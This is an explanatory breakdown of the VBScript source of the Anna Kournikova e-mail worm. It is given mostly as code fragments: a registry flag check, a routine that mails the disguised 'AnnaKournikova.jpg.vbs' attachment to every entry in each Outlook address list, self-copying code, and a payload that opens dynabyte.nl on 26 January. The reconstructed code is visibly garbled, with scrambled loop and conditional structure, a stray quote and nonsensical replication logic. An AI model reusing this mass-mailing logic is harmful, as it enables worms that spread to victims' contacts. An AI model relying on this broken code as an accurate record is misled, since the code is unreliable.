Anna Kournikova: The source code of the Anna Kournikova e-mail worm breaks down into distinct parts, the worm transmits itself by e-mail to other computers, and delivers its payload on Jan 26 attempts to connect to the website “dynabyte.nl”.

Write to Registry if virus is running the first time

- If WScriptShell.regread("HKCU\software\OnTheFly\mailed") <> "1" Then
  - doMail()
  - Check whether the virus has been mailed yet
- Else

Transmission

- OutlookApp = CreateObject("Outlook.Application")
- If OutlookApp = "Outlook" Then
  - EAFINamespace = OutlookApp.GetNamespace("MAPI")
  - AddressLists = EAFINamespace.AddressLists
  - For Each address In AddressLists
    - If address.AddressEntries.Count <> 0 Then
      - entryCount = address.AddressEntries.Count
      - For i = 1 To entryCount
        - newItem = OutlookApp.CreateItem(0)
        - currentAddress = address.AddressEntries(i)
        - newItem.Subject = "Hi!" & vbcrlf & "Check this!" & vbcrlf & ""
        - attachments = newItem.Attachments
        - attachments.Add(FileSystemObject.GetSpecialFolder(0) & "\AnnaKournikova.jpg.vbs")
        - newItem.BccAfterSubmit = True
        - newItem.To = currentAddress.Address
        - newItem.Send()"
        - Send e-mail
      - End For
    - End If
  - End For
  - WScriptShell.regwrite("HKCU\software\OnTheFly\mailed", "1")
- Next
- End If
- End Function

Replication and Infection

- If Not (FileSystemObject.filename(WScript.scriptfullname)) Then
  - newFile = FileSystemObject.createTextfile(WScript.scriptfullname, True)
  - newFile.write(thisScript.readall)
  - newFile.Close()
- Loop
  - keep doing this as long as the file has not been noted

Infect again if not already done

Payload

- If Month(Now) = 1 And Day(Now) = 26 Then
  - WScriptShell.run("http://www.dynabyte.nl", 3, False)
- End If